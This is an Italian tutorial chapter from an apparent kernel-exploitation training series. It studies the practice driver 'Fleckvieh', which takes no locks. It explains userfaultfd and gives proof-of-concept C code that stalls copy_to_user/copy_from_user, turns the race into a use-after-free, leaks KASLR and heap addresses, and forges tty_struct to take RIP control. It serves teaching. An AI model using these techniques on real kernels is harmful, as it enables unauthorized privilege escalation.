In LK04 (Fleckvieh) affrontiamo una race condition simile a quella vista in LK01-4 (Holstein v4), ma in condizioni più severe. Per iniziare scarica i file del problema pratico LK04.

Analisi del driver

Per prima cosa leggi il sorgente del driver. Rispetto ai moduli visti fin qui è un po’ più corposo e introduce costrutti che non avevamo ancora usato. La module_open, per esempio, è fatta così:

1
2
3
4
5
6
7
8
9
static int module_open(struct inode *inode, struct file *filp) {
/* Alloca la head della lista */
filp->private_data = (void*)kmalloc(sizeof(struct list_head), GFP_KERNEL);
if (unlikely(!filp->private_data))
return -ENOMEM;

INIT_LIST_HEAD((struct list_head*)filp->private_data);
return 0;
}

Alla quarta riga compare il macro unlikely, usatissimo nel kernel è definito in questo modo:

1
2
#define likely(x)      __builtin_expect(!!(x), 1)
#define unlikely(x) __builtin_expect(!!(x), 0)

Serve a dare un suggerimento al compilatore su quale ramo verrà preso più spesso. È utile per controlli che quasi sempre vanno in una sola direzione, per esempio check di sicurezza o condizioni di out-of-memory.

Lupetto

Se il compilatore conosce il ramo più probabile, può generare codice un po' più efficiente. Qui entrano in gioco anche i meccanismi di branch prediction della CPU.

Alla riga 7 compare INIT_LIST_HEAD, il macro usato per inizializzare una list_head, cioè la lista doppiamente concatenata tipica del kernel. Ogni open riceve una lista indipendente dentro private_data.
Gli elementi collegati a quella lista hanno questo formato:

1
2
3
4
5
6
typedef struct {
int id;
size_t size;
char *data;
struct list_head list;
} blob_list;

Per aggiungere un elemento si usa list_add, per rimuoverlo list_del, e per iterare esistono macro come list_for_each_entry(_safe).

L’implementazione di ioctl mostra che il modulo espone quattro operazioni: CMD_ADD, CMD_DEL, CMD_GET, CMD_SET.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
struct list_head *top;
request_t req;
if (unlikely(copy_from_user(&req, (void*)arg, sizeof(req))))
return -EINVAL;

top = (struct list_head*)filp->private_data;

switch (cmd) {
case CMD_ADD: return blob_add(top, &req);
case CMD_DEL: return blob_del(top, &req);
case CMD_GET: return blob_get(top, &req);
case CMD_SET: return blob_set(top, &req);
default: return -EINVAL;
}
}

CMD_ADD aggiunge un blob_list alla lista. Ogni blob può contenere fino a 0x1000 byte e riceve un ID casuale restituito in output all’utente.
CMD_DEL elimina il blob con un certo ID.
CMD_GET copia in userland i dati del blob specificato.
CMD_SET copia dal processo utente verso il blob specificato.

In sostanza è ancora un “driver che memorizza dati”, ma invece di un solo buffer ora abbiamo una lista di oggetti.

Verifica della vulnerabilità

Se hai già studiato tutto LK01, la vulnerabilità dovrebbe saltare subito all’occhio: in nessun punto viene preso un lock, quindi la race è inevitabile.
Il problema è che qui i dati sono organizzati in una lista doppiamente concatenata. Se provi a far correre in parallelo operazioni di add e delete, rischi di interferire proprio nel mezzo dell’unlink della lista, rompendo i puntatori interni e corrompendo l’heap del kernel. Risultato: crash continui e nessun modo affidabile per capire se hai ottenuto uno Use-after-Free.
Vediamolo con un esempio concreto:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int fd;

int add(char *data, size_t size) {
request_t req = { .size = size, .data = data };
return ioctl(fd, CMD_ADD, &req);
}
int del(int id) {
request_t req = { .id = id };
return ioctl(fd, CMD_DEL, &req);
}
int get(int id, char *data, size_t size) {
request_t req = { .id = id, .size = size, .data = data };
return ioctl(fd, CMD_GET, &req);
}
int set(int id, char *data, size_t size) {
request_t req = { .id = id, .size = size, .data = data };
return ioctl(fd, CMD_SET, &req);
}

int race_win;

void *race(void *arg) {
int id;
while (!race_win) {
id = add("Hello", 6);
del(id);
}
}

int main() {
fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1) fatal("/dev/fleckvieh");

race_win = 0;

pthread_t th;
pthread_create(&th, NULL, race, NULL);

int id;
for (int i = 0; i < 0x1000; i++) {
id = add("Hello", 6);
del(id);
}
race_win = 1;
pthread_join(th, NULL);

close(fd);
return 0;
}

Qui due thread aggiungono e cancellano elementi in continuazione. Quando la race colpisce nel punto sbagliato, la lista si rompe e il close finale crasha mentre prova a liberarne il contenuto.

Come si fa allora a rendere sfruttabile una race in una struttura dati così delicata?

Che cos’è userfaultfd

Per race molto strette o con condizioni complesse esiste una tecnica classica: abusare di userfaultfd per fermare il kernel esattamente nel momento desiderato.

Se il kernel è compilato con CONFIG_USERFAULTFD, è disponibile la funzionalità userfaultfd, cioè la gestione di page fault in user space tramite una syscall dedicata.

Perché un utente non privilegiato possa usarla in modo completo, il flag unprivileged_userfaultfd deve essere impostato a 1. Il valore si legge in /proc/sys/vm/unprivileged_userfaultfd: di default spesso è 0, ma nella macchina di LK04 è 1.

L’utente apre un file descriptor con la syscall userfaultfd, poi lo configura con varie ioctl: handler, intervallo di memoria da monitorare, modalità di fault, e così via. Quando avviene un page fault in una delle pagine registrate, il thread handler riceve l’evento e può decidere quali dati restituire.

Il flusso è questo:

flusso operativo di userfaultfd

Quando il page fault si verifica, il thread che stava accedendo alla pagina resta bloccato finché l’handler non risponde. E questo vale anche se il fault nasce da una copy_to_user o copy_from_user eseguita dal kernel. In pratica possiamo congelare l’esecuzione del driver in un punto molto preciso.

Esempio di utilizzo di userfaultfd

Prova a eseguire il programma seguente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

void fatal(const char *msg) {
perror(msg);
exit(1);
}

static void* fault_handler_thread(void *arg) {
char *dummy_page;
static struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
static int fault_cnt = 0;

uffd = (long)arg;

dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (dummy_page == MAP_FAILED) fatal("mmap(dummy)");

puts("[+] fault_handler_thread: waiting for page fault...");
pollfd.fd = uffd;
pollfd.events = POLLIN;

while (poll(&pollfd, 1, -1) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
fatal("poll");

/* Attende un page fault */
if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)");
assert (msg.event == UFFD_EVENT_PAGEFAULT);

printf("[+] uffd: flag=0x%llx\n", msg.arg.pagefault.flags);
printf("[+] uffd: addr=0x%llx\n", msg.arg.pagefault.address);

/* Prepara i dati da restituire come contenuto della pagina */
if (fault_cnt++ == 0)
strcpy(dummy_page, "Hello, World! (1)");
else
strcpy(dummy_page, "Hello, World! (2)");
copy.src = (unsigned long)dummy_page;
copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &copy) == -1) fatal("ioctl(UFFDIO_COPY)");
}

return NULL;
}

int register_uffd(void *addr, size_t len) {
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
long uffd;
pthread_t th;

/* Crea il file descriptor userfaultfd */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) fatal("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl(UFFDIO_API)");

/* Registra l'intervallo di memoria da monitorare */
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("UFFDIO_REGISTER");

/* Avvia il thread che gestisce i page fault */
if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd))
fatal("pthread_create");

return 0;
}

int main() {
void *page;
page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) fatal("mmap");
register_uffd(page, 0x2000);

/* Evita hang dovuti a puts/futex: non fare printf dirette dalla pagina */
char buf[0x100];
strcpy(buf, (char*)(page));
printf("0x0000: %s\n", buf);
strcpy(buf, (char*)(page + 0x1000));
printf("0x1000: %s\n", buf);
strcpy(buf, (char*)(page));
printf("0x0000: %s\n", buf);
strcpy(buf, (char*)(page + 0x1000));
printf("0x1000: %s\n", buf);

getchar();
return 0;
}

register_uffd prende l’indirizzo della regione da sorvegliare e la sua lunghezza, crea il file descriptor userfaultfd e avvia il thread fault_handler_thread.
Quando avviene un page fault, il thread legge l’evento da uffd e usa UFFDIO_COPY per fornire il contenuto della pagina. Nell’esempio qui sopra il contenuto cambia a seconda di quale fault stia gestendo.

Nel main allochiamo due pagine[1], registriamo userfaultfd e poi tentiamo di leggerle. I primi due strcpy provocano un page fault al primo accesso, quindi l’handler viene invocato. Se tutto funziona, l’output mostra che le stringhe restituite dall’handler vengono effettivamente lette:

esempio di userfaultfd in azione
Lupetto

L'handler di userfaultfd gira su un thread separato, quindi può finire su una CPU diversa dal main thread. Se dentro l'handler fai nuove allocazioni, le cache per-CPU dello heap possono rendere instabile la UAF. Conviene quindi fissare l'affinità CPU con `sched_setaffinity`.

Stabilizzare la race

Adesso usiamo userfaultfd dentro l’exploit vero è proprio.
Il vantaggio è che possiamo forzare un context switch dal kernel alla nostra logica userland quando il driver sta eseguendo copy_to_user o copy_from_user. Nel driver Fleckvieh i punti interessanti sono:

  • copy_from_user dentro blob_add
  • copy_to_user dentro blob_get
  • copy_from_user dentro blob_set

Vogliamo ottenere uno Use-after-Free, quindi durante il blocco in uno di questi punti possiamo chiamare blob_del e liberare l’oggetto mentre il kernel sta ancora lavorando con il suo puntatore. Se congeli blob_get, ottieni un UAF read. Se congeli blob_set, ottieni un UAF write.
Il flusso è il seguente:

Use-after-Free con userfaultfd

Allochiamo un buffer victim nella stessa size class di tty_struct (kmalloc-1024) e poi chiamiamo blob_get passando un indirizzo userland monitorato da userfaultfd. Quando copy_to_user prova a scrivere lì, scatta il page fault e il kernel si ferma.
Nel thread handler, mentre il kernel è bloccato, eliminiamo victim con blob_del e sprayiamo tty_struct via /dev/ptmx, in modo da riutilizzare la stessa area appena liberata. Quando lasciamo ripartire il kernel, copy_to_user continuerà a copiare partendo dall’indirizzo originario di victim, ma lì dentro ora c’è un tty_struct.

Lo stesso ragionamento vale per blob_set, che permette un UAF write.

Il PoC seguente mostra il meccanismo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
cpu_set_t pwn_cpu;

int victim;
char *buf;

static void* fault_handler_thread(void *arg) {
static struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
static int fault_cnt = 0;

/* Esegue l'handler sulla stessa CPU del main thread */
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");

uffd = (long)arg;

puts("[+] fault_handler_thread: waiting for page fault...");
pollfd.fd = uffd;
pollfd.events = POLLIN;

while (poll(&pollfd, 1, -1) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
fatal("poll");

/* Attende un page fault */
if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)");
assert (msg.event == UFFD_EVENT_PAGEFAULT);

/* Decide quali dati restituire */
switch (fault_cnt++) {
case 0: {
puts("[+] UAF read");
/* [1-2] page fault causato da `blob_get` */
// libera victim
del(victim);

// spray di tty_struct nello slot appena liberato
int fds[0x10];
for (int i = 0; i < 0x10; i++) {
fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (fds[i] == -1) fatal("/dev/ptmx");
}

// buffer usato come sorgente della pagina (verrà sovrascritto da copy_to_user)
copy.src = (unsigned long)buf;
break;
}

case 1:
/* [2-2] page fault causato da `blob_set` */
// libera victim
break;
}

copy.dst = (unsigned long)msg.arg.pagefault.address;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &copy) == -1) fatal("ioctl(UFFDIO_COPY)");
}

return NULL;
}

...

int main() {
/* Forza main thread e handler sulla stessa CPU */
CPU_ZERO(&pwn_cpu);
CPU_SET(0, &pwn_cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");

fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1) fatal("/dev/fleckvieh");

void *page;
page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) fatal("mmap");
register_uffd(page, 0x2000);

buf = (char*)malloc(0x400);
victim = add(buf, 0x400);
set(victim, "Hello", 6);

/* [1-1] UAF Read: leak di tty_struct */
get(victim, page, 0x400);
for (int i = 0; i < 0x80; i += 8) {
printf("%02x: 0x%016lx\n", i, *(unsigned long*)(page + i));
}

return 0;
}

Il codice è un po’ lungo, ma il meccanismo è esattamente quello illustrato nello schema. Il vantaggio notevole è che la race diventa praticamente deterministica.

verifica pratica della UAF

Guardando il dump leakato, noterai che l’inizio di tty_struct non viene copiato correttamente. I campi iniziali, dove ci aspetteremmo per esempio tty_operations, risultano azzerati.
Il motivo è che copy_to_user, quando lavora con una dimensione grande, inizia a leggere e copiare i primi dati prima che il page fault venga innescato. In altre parole, le primissime decine di byte appartengono ancora al buffer originario, non all’oggetto dopo la UAF.
Per fortuna il comportamento dipende dalla dimensione della copia. Se invece di usare 0x400 usi, per esempio, 0x20, il fault avviene abbastanza presto da lasciare intatti i byte che contengono il puntatore a tty_operations.

Lupetto

Se non sai esattamente a quale istruzione assembly avviene il page fault, il debug può diventare parecchio scomodo.

Una volta leakati KASLR e l’heap address, puoi creare anche la parte di UAF write.
Come nel capitolo precedente, l’idea è costruire un tty_struct falso con ops che punti a una function table falsa. Fai solo attenzione a un dettaglio: l’indirizzo su cui avviene la UAF write può non coincidere con quello leakato prima. Il leak proveniva dallo tty_struct liberato e riutilizzato nella prima fase, quindi ora conviene prima sprayare una falsa tty_operation nell’heap precedentemente leakato.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
      case 2: {
puts("[+] UAF write");
/* [3-2] page fault causato da `blob_set` */
// spray di falsa tty_operation sopra l'heap leakato
for (int i = 0; i < 0x100; i++) {
add(buf, 0x400);
}

...

/* [2-1] UAF Read: leak dello heap via tty_struct */
victim = add(buf, 0x400);
get(victim, page+0x1000, 0x400);
unsigned long kheap = *(unsigned long*)(page + 0x1038) - 0x38;
printf("kheap = 0x%016lx\n", kheap);
for (int i = 0; i < 0x10; i++) close(ptmx[i]);

Quando hai la function table falsa nel punto giusto, puoi innescare la UAF write:

1
2
3
4
5
6
7
8
9
// libera victim e spray di tty_struct
del(victim);
for (int i = 0; i < 0x10; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1) fatal("/dev/ptmx");
}

// buffer che verrà scritto da copy_from_user
copy.src = (unsigned long)buf;

Qui il contenuto da scrivere è controllato tramite copy.src, quindi basta preparare in anticipo un tty_struct finto:

1
2
3
4
5
6
7
8
9
/* [3-1] UAF Write: sovrascrive tty_struct */
memcpy(buf, page+0x1000, 0x400);
unsigned long *tty = (unsigned long*)buf;
tty[0] = 0x0000000100005401; // magic
tty[2] = *(unsigned long*)(page + 0x10); // dev
tty[3] = kheap; // ops
tty[12] = 0xdeadbeef; // ops->ioctl
victim = add(buf, 0x400);
set(victim, page+0x2000, 0x400);

Se arrivi a controllare RIP, il resto dell’exploit segue lo schema ormai familiare.

elevazione di privilegi su Fleckvieh

Un exploit di esempio si trova qui.


In questo capitolo abbiamo usato `userfaultfd` solo per stabilizzare la race. Se disponi i dati in modo che attraversino un boundary di pagina, puoi fermare l'esecuzione proprio quando il kernel legge o scrive uno specifico campo di una struttura. Prova a ragionare su scenari in cui questa tecnica renda sfruttabili race o corruption che altrimenti sarebbero troppo strette.

  1. Non usiamo MAP_POPULATE, perché vogliamo che il page fault avvenga al primo accesso. ↩︎